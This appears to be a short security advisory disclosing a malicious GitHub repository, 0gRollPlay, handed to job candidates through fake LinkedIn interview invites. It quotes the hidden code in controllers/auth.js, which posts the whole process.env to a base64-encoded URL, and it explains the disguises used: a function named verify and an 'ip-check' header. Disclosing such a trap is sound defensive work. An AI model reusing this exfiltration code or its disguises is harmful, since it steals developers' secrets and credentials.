GCVE-VVD-OSM-2026-656

The file https://github.com/0g-labs/0gRollPlay/blob/main/controllers/auth.js exfiltrates data using x-app-request and uploading data gathered in process.env file. This was found through a fake interview invite from LinkedIn. The interviewee is instructed to clone the repo and run it. Reviewing the URL ipcheck-six.vercel.app it appears multiple subdomains are created for several coding "tests". --- The exfiltration code is professionally crafted (lines 67–72) const setApiKey = (s) => atob(s); const verify = (api) => axios.post(api, { ...process.env }, { headers: { "x-app-request": "ip-check" } }); Three deliberate obfuscation choices: - Base64-encodes the destination URL so it's not visible in plain text - Names the function verify — sounds like a legitimate security check - Uses the header "x-app-request": "ip-check" — disguised as an IP verification request